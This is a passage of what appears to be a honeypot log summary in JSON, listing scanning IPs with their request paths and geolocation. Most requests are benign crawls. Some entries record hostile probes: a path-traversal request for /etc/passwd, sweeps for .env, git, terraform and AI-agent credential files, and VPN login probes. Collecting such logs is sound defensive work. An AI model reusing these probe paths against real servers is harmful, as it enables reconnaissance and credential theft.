      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "34.39.59.87": {
      "attack_count": 2,
      "first_seen": "2026-03-06T15:46:26.468Z",
      "last_seen": "2026-03-06T15:46:27.423Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "34.6.187.19": {
      "attack_count": 2,
      "first_seen": "2026-03-16T15:52:37.197Z",
      "last_seen": "2026-03-16T15:52:42.315Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Groningen",
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "34.89.187.164": {
      "attack_count": 2,
      "first_seen": "2026-03-17T15:46:43.537Z",
      "last_seen": "2026-03-17T15:46:45.439Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "35.216.254.237": {
      "attack_count": 2,
      "first_seen": "2026-03-23T17:15:06.202Z",
      "last_seen": "2026-03-23T17:15:09.204Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 15169,
      "as_org": "Google LLC"
    },
    "40.124.175.233": {
      "attack_count": 2,
      "first_seen": "2026-03-17T14:30:14.962Z",
      "last_seen": "2026-03-17T14:30:17.965Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "40.124.186.154": {
      "attack_count": 2,
      "first_seen": "2026-03-10T09:51:25.909Z",
      "last_seen": "2026-03-10T09:51:28.912Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "45.131.155.110": {
      "attack_count": 2,
      "first_seen": "2026-03-18T06:32:15.563Z",
      "last_seen": "2026-03-19T10:08:03.020Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 212512,
      "as_org": "Detai Prosperous Technologies Limited"
    },
    "45.156.128.201": {
      "attack_count": 2,
      "first_seen": "2026-03-21T04:49:09.348Z",
      "last_seen": "2026-03-21T04:49:12.350Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A."
    },
    "52.206.189.10": {
      "attack_count": 2,
      "first_seen": "2026-03-19T00:55:07.845Z",
      "last_seen": "2026-03-19T00:55:10.846Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "52.90.148.15": {
      "attack_count": 2,
      "first_seen": "2026-03-21T00:56:45.108Z",
      "last_seen": "2026-03-21T00:56:48.111Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "54.89.89.12": {
      "attack_count": 2,
      "first_seen": "2026-03-27T00:56:32.495Z",
      "last_seen": "2026-03-27T00:56:35.499Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "64.62.156.207": {
      "attack_count": 2,
      "first_seen": "2026-03-09T09:55:47.237Z",
      "last_seen": "2026-03-09T09:57:21.214Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "74.82.47.17": {
      "attack_count": 2,
      "first_seen": "2026-03-08T03:02:45.991Z",
      "last_seen": "2026-03-17T07:44:43.333Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "East White Plains",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "77.78.149.60": {
      "attack_count": 2,
      "first_seen": "2026-03-18T22:34:58.556Z",
      "last_seen": "2026-03-18T22:35:01.560Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 62323,
      "as_org": "Lyuba Pesheva"
    },
    "172.182.201.163": {
      "attack_count": 1,
      "first_seen": "2026-03-30T10:19:27.030Z",
      "last_seen": "2026-03-30T10:19:27.030Z",
      "ports": [],
      "event_types": [
        "\"GET /cdn-cgi/trace HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "18.205.239.199": {
      "attack_count": 1,
      "first_seen": "2026-03-27T00:56:37.629Z",
      "last_seen": "2026-03-27T00:56:37.629Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "184.105.139.123": {
      "attack_count": 1,
      "first_seen": "2026-03-04T09:48:30.141Z",
      "last_seen": "2026-03-04T09:48:30.141Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "185.220.101.161": {
      "attack_count": 1,
      "first_seen": "2026-03-08T20:52:41.390Z",
      "last_seen": "2026-03-08T20:52:41.390Z",
      "ports": [],
      "event_types": [
        "\"GET /vtigercrm/saky.php?p=love04h@te HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "194.187.178.163": {
      "attack_count": 1,
      "first_seen": "2026-03-06T03:45:56.061Z",
      "last_seen": "2026-03-06T03:45:56.061Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 215778,
      "as_org": "Alpha Strike Labs GmbH"
    },
    "195.184.76.43": {
      "attack_count": 1,
      "first_seen": "2026-03-20T10:58:03.567Z",
      "last_seen": "2026-03-20T10:58:03.567Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "195.184.76.69": {
      "attack_count": 1,
      "first_seen": "2026-03-22T12:47:09.440Z",
      "last_seen": "2026-03-22T12:47:09.440Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "216.218.206.79": {
      "attack_count": 1,
      "first_seen": "2026-03-18T07:51:56.190Z",
      "last_seen": "2026-03-18T07:51:56.190Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "32.192.75.243": {
      "attack_count": 1,
      "first_seen": "2026-03-16T00:48:58.262Z",
      "last_seen": "2026-03-16T00:48:58.262Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "44.212.70.191": {
      "attack_count": 1,
      "first_seen": "2026-03-08T00:53:25.959Z",
      "last_seen": "2026-03-08T00:53:25.959Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "45.135.194.49": {
      "attack_count": 1,
      "first_seen": "2026-03-18T15:30:01.879Z",
      "last_seen": "2026-03-18T15:30:01.879Z",
      "ports": [],
      "event_types": [
        "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)"
    },
    "52.87.171.66": {
      "attack_count": 1,
      "first_seen": "2026-03-18T00:54:12.981Z",
      "last_seen": "2026-03-18T00:54:12.981Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "54.196.48.233": {
      "attack_count": 1,
      "first_seen": "2026-03-12T00:52:51.749Z",
      "last_seen": "2026-03-12T00:52:51.749Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "54.210.4.57": {
      "attack_count": 1,
      "first_seen": "2026-03-06T00:49:37.774Z",
      "last_seen": "2026-03-06T00:49:37.774Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "64.62.156.218": {
      "attack_count": 1,
      "first_seen": "2026-03-02T02:41:28.866Z",
      "last_seen": "2026-03-02T02:41:28.866Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.156.72": {
      "attack_count": 1,
      "first_seen": "2026-03-03T05:15:28.303Z",
      "last_seen": "2026-03-03T05:15:28.303Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.29": {
      "attack_count": 1,
      "first_seen": "2026-03-10T09:48:04.906Z",
      "last_seen": "2026-03-10T09:48:04.906Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.34": {
      "attack_count": 1,
      "first_seen": "2026-03-10T09:46:11.655Z",
      "last_seen": "2026-03-10T09:46:11.655Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.92": {
      "attack_count": 1,
      "first_seen": "2026-03-06T02:49:16.792Z",
      "last_seen": "2026-03-06T02:49:16.792Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.20.108": {
      "attack_count": 1,
      "first_seen": "2026-03-28T02:51:47.410Z",
      "last_seen": "2026-03-28T02:51:47.410Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "74.82.47.28": {
      "attack_count": 1,
      "first_seen": "2026-03-25T09:59:46.173Z",
      "last_seen": "2026-03-25T09:59:46.173Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "74.82.47.60": {
      "attack_count": 1,
      "first_seen": "2026-03-25T09:59:38.809Z",
      "last_seen": "2026-03-25T09:59:38.809Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "85.11.183.25": {
      "attack_count": 1,
      "first_seen": "2026-03-26T01:58:15.504Z",
      "last_seen": "2026-03-26T01:58:15.504Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 201002,
      "as_org": "PebbleHost Ltd"
    },
    "87.236.176.9": {
      "attack_count": 1,
      "first_seen": "2026-03-08T03:28:18.142Z",
      "last_seen": "2026-03-08T03:28:18.142Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd"
    },
    "87.236.176.96": {
      "attack_count": 1,
      "first_seen": "2026-03-20T16:11:07.684Z",
      "last_seen": "2026-03-20T16:11:07.684Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd"
    },
    "91.196.152.107": {
      "attack_count": 1,
      "first_seen": "2026-03-12T12:55:16.180Z",
      "last_seen": "2026-03-12T12:55:16.180Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.196.152.160": {
      "attack_count": 1,
      "first_seen": "2026-03-26T21:42:14.836Z",
      "last_seen": "2026-03-26T21:42:14.836Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.196.152.182": {
      "attack_count": 1,
      "first_seen": "2026-03-19T04:13:24.653Z",
      "last_seen": "2026-03-19T04:13:24.653Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.196.152.226": {
      "attack_count": 1,
      "first_seen": "2026-03-26T21:37:16.531Z",
      "last_seen": "2026-03-26T21:37:16.531Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.230.168.138": {
      "attack_count": 1,
      "first_seen": "2026-03-08T15:54:13.933Z",
      "last_seen": "2026-03-08T15:54:13.933Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.230.168.176": {
      "attack_count": 1,
      "first_seen": "2026-03-22T12:45:14.885Z",
      "last_seen": "2026-03-22T12:45:14.885Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.230.168.82": {
      "attack_count": 1,
      "first_seen": "2026-03-22T12:45:15.214Z",
      "last_seen": "2026-03-22T12:45:15.214Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.231.89.169": {
      "attack_count": 1,
      "first_seen": "2026-03-19T04:10:52.016Z",
      "last_seen": "2026-03-19T04:10:52.016Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "136.144.35.38": {
      "attack_count": 143,
      "first_seen": "2026-03-02T00:09:46.920Z",
      "last_seen": "2026-03-03T06:21:28.311Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Trenton",
      "asn": 396356,
      "as_org": "Latitude.sh"
    },
    "68.183.9.16": {
      "attack_count": 41,
      "first_seen": "2026-03-05T13:05:50.587Z",
      "last_seen": "2026-03-05T13:07:00.018Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /.DS_Store HTTP/1.1\" 404 -",
        "\"GET /.env HTTP/1.1\" 404 -",
        "\"GET /.git/config HTTP/1.1\" 404 -",
        "\"GET /.vscode/sftp.json HTTP/1.1\" 404 -",
        "\"GET /.well-known/security.txt HTTP/1.1\" 404 -",
        "\"GET /?rest_route=/wp/v2/users/ HTTP/1.1\" 404 -",
        "\"GET /@vite/env HTTP/1.1\" 404 -",
        "\"GET /about HTTP/1.1\" 404 -",
        "\"GET /actuator/env HTTP/1.1\" 404 -",
        "\"GET /api-docs/swagger.json HTTP/1.1\" 404 -",
        "\"GET /api/swagger.json HTTP/1.1\" 404 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /console/ HTTP/1.1\" 404 -",
        "\"GET /debug/default/view?panel=config HTTP/1.1\" 404 -",
        "\"GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1\" 404 -",
        "\"GET /info.php HTTP/1.1\" 404 -",
        "\"GET /login.action HTTP/1.1\" 404 -",
        "\"GET /s/731313e2638313e2530313e2237313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties HTTP/1.1\" 404 -",
        "\"GET /server HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "81.168.83.103": {
      "attack_count": 23,
      "first_seen": "2026-03-02T08:38:23.129Z",
      "last_seen": "2026-03-19T20:48:10.321Z",
      "ports": [],
      "event_types": [
        "\"GET /debug.log HTTP/1.0\" 404 -",
        "\"GET /docker-compose.yml HTTP/1.0\" 404 -",
        "\"GET /secrets.py HTTP/1.0\" 404 -",
        "\"GET /terraform.tfstate.backup HTTP/1.0\" 404 -",
        "\"GET /.aider.chat.history.md HTTP/1.0\" 404 -",
        "\"GET /.aider.conf.yml HTTP/1.0\" 404 -",
        "\"GET /.claude/settings.json HTTP/1.0\" 404 -",
        "\"GET /.clawdbot/moltbot.json HTTP/1.0\" 404 -",
        "\"GET /.cursorrules HTTP/1.0\" 404 -",
        "\"GET /.env.dev HTTP/1.0\" 404 -",
        "\"GET /.env.development HTTP/1.0\" 404 -",
        "\"GET /.env.local HTTP/1.0\" 404 -",
        "\"GET /.env.production HTTP/1.0\" 404 -",
        "\"GET /.moltbot/agents/main/agent/auth-profiles.json HTTP/1.0\" 404 -",
        "\"GET /.moltbot/history.log HTTP/1.0\" 404 -",
        "\"GET /.openclaw/workspace/db.sqlite HTTP/1.0\" 404 -",
        "\"GET /.vscode/sftp.json HTTP/1.0\" 404 -",
        "\"GET /langflow.db HTTP/1.0\" 404 -",
        "\"GET /web.config HTTP/1.0\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Maidenhead",
      "asn": 20860,
      "as_org": "Iomart Cloud Services Limited"
    },
    "152.32.208.116": {
      "attack_count": 20,
      "first_seen": "2026-03-17T04:41:19.289Z",
      "last_seen": "2026-03-17T04:42:09.605Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Reston",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "64.62.156.192": {
      "attack_count": 15,
      "first_seen": "2026-03-07T03:02:50.239Z",
      "last_seen": "2026-03-07T03:08:52.290Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "216.218.206.66": {
      "attack_count": 10,
      "first_seen": "2026-03-12T05:00:50.782Z",
      "last_seen": "2026-03-12T05:06:45.179Z",
      "ports": [],
      "event_types": [
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "81.29.142.6": {
      "attack_count": 10,
      "first_seen": "2026-03-04T02:23:20.301Z",
      "last_seen": "2026-03-24T14:29:27.019Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 210259,
      "as_org": "LLC Applied Computational Technologies"
    },
    "3.134.216.108": {
      "attack_count": 8,
      "first_seen": "2026-03-15T18:35:45.168Z",
      "last_seen": "2026-03-31T16:36:21.960Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc."
    },
    "45.84.107.222": {
      "attack_count": 7,
      "first_seen": "2026-03-08T20:59:52.423Z",
      "last_seen": "2026-03-08T21:00:04.261Z",
      "ports": [],
      "event_types": [
        "\"GET /STC_VoIP_PIN/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/modules/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/theme/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /restapi/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /restapps/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /temp/config.all.php? HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB"
    },
    "5.255.125.196": {
      "attack_count": 7,
      "first_seen": "2026-03-08T21:01:29.969Z",
      "last_seen": "2026-03-08T21:01:39.910Z",
      "ports": [],
      "event_types": [
        "\"GET /config/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /configs/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /controllers/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /css/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /digium_phones/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /elastixConnection/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /framework/config.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Dronten",
      "asn": 60404,
      "as_org": "The Infrastructure Group B.V."
    },
    "162.142.125.203": {
      "attack_count": 6,
      "first_seen": "2026-03-02T11:43:03.610Z",
      "last_seen": "2026-03-02T11:43:19.831Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "206.168.34.211": {
      "attack_count": 6,
      "first_seen": "2026-03-09T03:54:52.416Z",
      "last_seen": "2026-03-09T03:56:01.688Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
